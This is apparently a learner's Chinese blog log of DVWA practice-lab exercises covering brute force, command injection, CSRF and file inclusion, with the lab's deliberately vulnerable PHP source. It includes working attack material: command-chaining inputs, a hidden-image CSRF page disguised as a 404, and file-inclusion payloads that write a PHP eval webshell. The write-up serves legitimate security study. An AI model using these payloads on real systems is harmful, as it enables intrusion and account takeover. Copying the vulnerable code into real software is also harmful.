Dvwa 靶场练习记录
原文地址
说明:
完结!!!这是菜鸟的第一次靶场练习的记录,可能存在错误的地方和不完整的知识,有大佬看到了麻烦请指出,😽。
1、Brute Force
low等级
弱口令爆破,这是非常简单的一关,使用BP或者其他弱口令检测软件,进行弱口令爆破
打开BP,设置proxy代理,随便输入账号密码,点击登录,这时,bp就可以抓到浏览器发出的数据包
将数据包发送至攻击模块,清除其他标记,仅标记username和password的字段值,选择密码字典进行攻击
点击“开始攻击”,进行爆破密码
成功爆破出来了两个账户,去测试一下试试。
# Brute Force --- Low源码
<?php
//检查提交的参数login是否存在值
if( isset( $_GET[ 'Login' ] ) ) {
// Get username 获取用户名
$user = $_GET[ 'username' ];
// Get password 获取密码
$pass = $_GET[ 'password' ];
$pass = md5( $pass ); // 将密码进行加密
// Check the database 在数据库中查询值
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful 登录成功将输出以下字符
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
Medium等级
一样使用上面的方法,进行抓包攻击,最后也可以获得密码
这一关的限制主要就是账户和密码分开进行查询,并不能阻挡爆破工具的攻击
# Brute Force --- Medium源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
High等级
查看一下高等级中的源码,做了什么限制
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //检查请求中的token字段
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user ); //stripslashe()函数,返回剥离了反斜杠的字符串。
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); //检查用户名是否正确
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); //检查密码是否正确
$pass = md5( $pass ); //使用md5加密密码
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; //连接数据库查询用户,用户名和密码输入正确才能查询出结果,前面过滤了输入的参数,然后将过滤后的值插入查询语句,防止sql注入。
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken(); // 防止跨站攻击
?>
抓包发送到Intruder模块中,将password字段和user_token字段都选择上,设置payload攻击模式为Pitchfork模式,这个模式的payload有两条,一条是password的,一条是user_token的,两个位置的payload是不冲突的,进行针对性的攻击
配置Intruder模块中的Options选项中的 Grep-Extract 扩展,前提是payload的线程数必须是1,然后选择Grep-Extract 扩展,添加搜索,这里的设置是为了攻击user_token所准备的,这个设置中,可以过滤出每次请求获取到的user_token的值,用在第二条的payload中,攻击user_token字段。
选择总是重定向,设置匹配token后,扩展会匹配每一次的请求中获取的user_token字段的值,然后将值放在攻击的payload中
设置payload,使用Grep-Extract中匹配出来的值进行攻击,设置完成后就可以进行攻击了。
Impossible 等级
暴力破解中的最后一个等级,直接分析源码吧
<?php
if( isset( $_POST[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //首先检查Token字段
// Sanitise username input
$user = $_POST[ 'username' ]; //获取username值
$user = stripslashes( $user ); //过滤username值中的'\'
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3; //限制只能错误三次错误三次后会进行锁定,所以这里就不能直接进行爆破
$lockout_time = 15; //锁定时间15分钟
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' ); //查询登录失败的次数和上次登录的时间
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) { //判断登录失败的次数
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = $row[ 'last_login' ]; //获取上次登录的用户的时间
$last_login = strtotime( $last_login ); //strtotime() 函数将任何字符串的日期时间描述解析为 Unix 时间戳
$timeout = strtotime( "{$last_login} +{$lockout_time} minutes" );//在原有的时间戳上加上15分钟锁定时间
$timenow = strtotime( "now" );//规定用来计算返回值的时间戳。
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow > $timeout ) //如果当前时间戳大于锁定后时间戳,解锁登录,就是检查当前是不是已经过了15分钟的锁定时间,过了可以再次登录
$account_locked = true;
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) { //判断登录错误的次数,超过3次就回复锁定15分钟
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' ); //清空登录失败的计时器
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
2、Command Injection
low等级(Windows靶机)
这个模块主要练习的是命令执行漏洞,学习一些绕过的技巧,先看low等级下的命令执行
这是一个ping 的接口,输入IP地址,可以对输入的地址进行ping,在linux系统中,正常的命令执行有以下几种(欢迎后补)
# 第一种-----执行一个命令[command]
┌──(root㉿King)-[~]
└─# ping 127.0.0.1
# 第二种-----执行多个命令[command1;command2]
┌──(root㉿King)-[~]
└─# ping 127.0.0.1;ping 127.0.0.1
# 前面两种都是正常的命令执行
# 第三种-----使用&&符号执行多个命令('&&' 这个符号是 and 的意思,前一个命令执行成功,才会执行&&后的命令)
##格式[command1 && command2]
### command1成功后执行command2
┌──(root㉿King)-[~]
└─# ping 127.0.0.1 -c 2 && echo 'Ok'
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.044 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.022 ms
--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1042ms
rtt min/avg/max/mdev = 0.022/0.033/0.044/0.011 ms
Ok
### command1 执行错误则不执行command2
┌──(root㉿King)-[~]
└─# ping 11122 -c 2 && echo 'No'
PING 11122 (0.0.43.114) 56(84) bytes of data.
--- 11122 ping statistics ---
2 packets transmitted, 0 received, 100% packet loss, time 1031ms
# 第四种------使用||符号('||'符号相当于 or '或' 的意思,前一条命令执行失败后才会执行||后的命令)
## 格式[command1 || command2]
### command1 执行成功
┌──(root㉿King)-[~]
└─# ping 127.0.0.1 -c 2 || echo '看得到我吗?'
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.079 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.023 ms
--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1017ms
rtt min/avg/max/mdev = 0.023/0.051/0.079/0.028 ms
### command1 执行失败
┌──(root㉿King)-[~]
└─# ping 127.0.0 -c 2 || echo '如果前面的命令错误了你就会看得到我哦!'
ping: Do you want to ping broadcast? Then -b. If not, check your local firewall rules
如果前面的命令错误了你就会看得到我哦!
#### 这些就是 正常在linux中执行命令常用的方法了,下面也提供了截图查看
Linux下命令及符号使用
下面开始做题了,先输入一个正常的ip地址查看回显信息
使用分号来执行多个命令
显然,分号在这里行不通(可能是输入的参数是直接和ping命令进行了拼接,如:ping $IP 这样,如果输入分号就不能正常执行命令了。其实是因为我使用的靶场是windows搭建的,ls不能使用,查看目录可以使用dir命令)
# windows系统常用命令拼接
## 1、&
### 语法:command1 & command2 [& command3...]
### dir z:\ & dir y:\ & dir c:\
## 2、&&
### 语法:command1 && command2 [&& command3...]
dir z:\ && dir y:\ && dir c:\
## 3、||
### 语法:command1 || command2 [|| command3...]
dir z:\ || dir y:\ || dir c:\
#### &&和|| 在windows中的使用和Linux中的使用一样,唯一不一样的就是windows中不能使用分号,使用的是&来拼接多个命令的执行
使用 && 符号执行命令
看到回显输出了1,存在命令执行,查看当前目录
在windows中是不允许跨磁盘访问的,所以只能在当前的磁盘活动,我们可以查看一下当前dvwa的源码文件
先进入到文件夹下,查看文件夹下的文件,接着查看 index.php文件
# 使用命令
type [文件名] #查看文件内容
大部分的ping接口场景应该都是在Linux下的,windows下的见到的不多,如果是Linux下会更方便点。
low等级(Linux靶机)
使用Linux主机搭建了一个Dvwa靶场来做命令执行漏洞,直接进行测试
看到这里没有任何过滤,直接就可以执行cat命令,下面查看当前的用户
当前用户是 www-data
查看当前所在目录
Medium等级
先测试使用&&符号进行命令执行,发现没有作用
可能是被过滤了,接着就使用||符号去执行
在Medium等级中,后端过滤了&&符号,但是没有过滤||符号,造成命令执行漏洞,查看一下源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist 可以看到这个数组中定义了‘&&’和‘;’的值为空
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); //这里使用函数str_replace()将输入的参数中如果含有&&和;都会被替换为数组中定义的值,使用array_keys()来获取定义数组中的键也就是&&和;,如果存在这个键,就会将值换成空
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target ); //这里是拼接输入的参数,进行ping命令执行
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target ); //这里是Linux中的ping,因为默认情况linux的ping是无结束状态的,所以设置了-c 指定ping的次数
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
High等级
在High等级下,进行命令执行,先测试简单的,任何查看回显来判断是否被过滤,再进行绕过
显然,这个&&符号已经被过滤了,接着测试其他几种
接着就发现这里还是没有过滤掉||符号,一样可以执行命令,看看源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]); //这里使用trim将输入的参数两端的空格删除了(trim — 去除字符串首尾处的空白字符(或者其他字符))
// Set blacklist 看到这里,发现不管是windows的拼接字符常用的符号和Linux下的都被列入
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
发现源码这里也有过滤||符号的,但是为什么没被过滤,原因可能是在于我输入的||的两端添加有空格,而trim函数过滤的是添加在首尾的空白字符,我输入的空格是在参数的中。下面测试不添加空格会不会被过滤
测试一下就发现了,输入的参数命令中,127是错误的不会执行,而正常||符号前面错误后会执行后面的命令,但是也没执行,说明这里的||是被过滤掉了
Impossible等级
直接分析源码吧
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //使用token防止csrf攻击
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target ); //stripslashes()返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。( magic_quotes_sybase 项开启后)双反斜线(\\)被转换为单个反斜线(\)。
// Split the IP into 4 octects
$octet = explode( ".", $target ); //将输入的字符串以(.)作为分隔,并保存为数组的形式
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // 判读输入的参数被(.)分隔后的元素都是数值,而且数组的长度为4,如果为true则执行下面的元素重组
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; //将ip重组
// Determine OS and execute the ping command. 经过以上的过程后,只能通过ip的形式传参,再过滤其他非数值的字符后重组ip,再拼接命令执行
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
3、CSRF
low等级
打开CSRF模块后发现,是一个修改密码的界面,先测试正常输入提交,查看数据包发送的过程,需要打开BP,进行数据拦截。
http://192.168.32.129:8080/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
拦截数据包发现,修改密码操作的请求方法是GET请求,GET请求过程是明文发送的,是不安全的,现在我们发现这段URL中存在{password_nev}字段和{password_conf}字段,而且发现数据包中带有Cookie,Referer等信息。 正常修改密码后的返回页面如下
这时候用原来的密码就不能登录了,需要用修改后的密码了。
下面就可以对我们掌握的信息进行测试利用
GET /vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change HTTP/1.1 //GET请求明文传输
Host: 192.168.32.129:8080 //主机IP和端口
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 //客户端浏览器信息
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.32.129:8080/vulnerabilities/csrf/ //从那个网页源发来的请求
Cookie: PHPSESSID=ka80cu4bmf8s1ts06h03v8qus0; security=low //用户cookie值
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
将拦截的数据包发 在BP中 的重放器中,修改{password_nev}和{password_conf}字段值,然后发送包,查看下面的请求包和响应包。
发送之后,提示【密码更改成功】,说明csrf攻击已经完成,这时候再使用123456这个密码就不能登录了,只能使用admin这个密码登录了。
如果正在用户正常使用网站的时候,诱导用户去访问我们修改之后的恶意URL链接(如下链接),就可以达到用户密码被更改的操作。
http://192.168.32.129:8080/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
查看源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {//判断输入的新密码和重复输入的密码是否匹配
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
Medium等级
依然先正常的发起请求,查看请求的过程。
http://192.168.32.129:8080/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
请求之后发现,依然还是GET请求发起的包,密码正常修改,我们直接进行修改URL后直接访问修改密码的页面
http://192.168.32.129:8080/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
发现这里有提示“That request didn’t look correct.”【这个请求看起来并不正确。】,这时候就不能像第一个那样去诱导用户修改密码了。下面我们抓包看看。
#Low等级请求包
GET /vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change HTTP/1.1 //GET请求明文传输
Host: 192.168.32.129:8080 //主机IP和端口
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 //客户端浏览器信息
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.32.129:8080/vulnerabilities/csrf/ //从那个网页源发来的请求
Cookie: PHPSESSID=ka80cu4bmf8s1ts06h03v8qus0; security=low //用户cookie值
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
#Medium等级请求包
GET /vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change HTTP/1.1
Host: 192.168.32.129:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=ka80cu4bmf8s1ts06h03v8qus0; security=medium
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
看这个请求的包,和上面对比,少了个Referer 字段,我们把referer字段加上再发送请求看看
GET /vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change HTTP/1.1
Host: 192.168.32.129:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.32.129:8080/
Cookie: PHPSESSID=ka80cu4bmf8s1ts06h03v8qus0; security=medium
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.32.129:8080),希望通过这种机制抵御CSRF攻击。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
//stripos(string,find,start)
//返回字符串在另一字符串中第一次出现的位置(不区分大小写),如果没有找到字符串则返回 FALSE。
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
知道了不能成功的原因就可以想办法解决,下面就可以做一个Payload,放到用户的页面去,再诱导用户去点击恶意链接,这样,referer 的字段就会带在请求头中了。
#伪造一个页面,诱导用户访问,用户访问到此页面后,密码就会被修改
<img src="http://192.168.32.250:8084/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#" border="0" style="display:none;"/>
<H2>404 Index Not Fined<H2>
诱导用户访问钓鱼页面,出现这个页面,用户可能认为地址有问题,实际上我们的攻击已经成功,这里就已经修改好了,用原来的密码就无法登录了,只能用修改后的密码登录了,用BP抓包看看
High等级
这次源码中设置的token的限制,对于没有token值的请求,都直接进行了过滤。这时候只能从其他漏洞入手,获取token值。因为DVWA上存在XSS漏洞,可以通过XSS漏洞获取用户的Token,然后使用Token去修改密码。
#模拟访问csrf,弹出token
<iframe src="../csrf" onload=document.cookie />
我在payload中添加了一个弹出cookie的alert,用来对比弹出的cookie和接收到的cookie值
这样以来,就可以诱导登录后用户去点击恶意链接,将自己的cookie发送到攻击者的平台上。
4、File Inclusion
文件包含漏洞,是由于php中的文件包含函数会将所包含的文件当成php代码执行,因此如果没有做严格的文件过滤,就可能产生文件包含漏洞,导致敏感文件泄漏。
php中常用的文件包含函数:include()、require()、include_once()、require_once()
Low 等级
打开Dvwa靶场的File Inclusion关卡,出现了三个php文件连接
随便点击了一个看看,发现url中的参数会直接跟着变化,那就可以直接测试一下本地文件包含
本地文件包含测试,使用file://协议
# 源码中没有做任何的参数过滤
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
使用包含远程文件
利用远程包含漏洞,包含一个php自动生成webshell文件,在远端服务器中或者虚拟机中安装web服务,创建一个txt文件放在web根目录下。
## txt内容
<?php
//打开一个shell.php文件,w表示可写入打开文件,且如果不存此文件则创建文件
$myfile=fopen("shell.php","w") or exit("无法打开文件!");
$content='<?php eval($_GET[此处填写连接密码]);?>'; //写入一句话代码
fputs($myfile,$content); //fwrite()或fputs()函数将想写入的内容 写入到文件中
fclose($myfile); //关闭文件
echo 'File ---> Ok';
?>
在Dvwa中利用文件远程包含漏洞,包含远端的服务器文件,包含后会在dvwa本关的目录下生成一个shell.php文件,成功的话就会输出 File—Ok
到Dvwa靶场的本关的根目录下查看一下是不是生成了shell.php一句话木马文件
存在就可以使用蚁剑去链接一下
Medium 等级
先试试之前的方法管不管用了,直接先远程包含一下,发现没有回显,说明不能进行包含了
试试本地文件包含,发现本地文件包含
我就激灵一动啊,使用data://伪协议进行本地文件的生成,当然也可以使用其他的方法,我这里就使用data://协议,来生成一个shell文件
# payload
http://192.168.10.200:8080/vulnerabilities/fi/?page=data://text/plain,<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[abc]);');
执行访问后,可以直接访问shell.php文件检查是不是存在,如果报错说明不存在,如果出现空白,说明存在
再去服务端查看一下文件
一样可以使用蚁🗡去链接下
成功进入
查看一下源码
# 源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file ); ##过滤了http://和https://
$file = str_replace( array( "../", "..\"" ), "", $file ); ##过滤了Linux中的目录遍历../和Windows中的遍历..\
?>
绕过过滤限制,可以使用伪协议也 可以将https://和http://协议重复进行绕过,下面实验一下
## payload
http://192.168.10.200:8080/vulnerabilities/fi/?page=http://hthttp://tp://IP:Port/test.txt
原理:源码中的过滤只会过滤http://字符串,所以利用重复绕过,
http://hthttp://tp://IP:Port/test.txt
## 第一个http://会被过滤掉,然后中间的http://也会被过滤,最终留下了http://
High 等级
直接利用http://重复测试了下,发现回显报错
使用本地文件包含发现也报错,然后我就想到将远程文件命名为file1.php文件,与这里可以访问的文件同名
发现这样也不行,接着就尝试一下使用伪协议,data://或者php://input
使用data://伪协议也不行
查看一下源码吧
## 源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) { ##判断文件名是否是file开头,如果不是就报错
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
上面测试了将 远程文件改为file开头的,但是没绕过,是因为这源码中没设置过滤http://导致访问的链接无效,再试一次。
发现这里依然无效,然后我突然发现问题所在,因为提交的是一个链接,$file=URL,所以总是报错是因为开头的是http,不是file,这样只能本地文件包含
所以在只有这个漏洞的情况下,只能获取到信息,不能getshell了
Impossible 等级
众所周知,这个等级无法突破,所以就直接看看源码吧
## 源码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
## 这里做了白名单,只允许以下的文件名的文件通过,其他的全部都会输出找不到文件,无法绕过
// Only allow include.php or file{1..3}.php
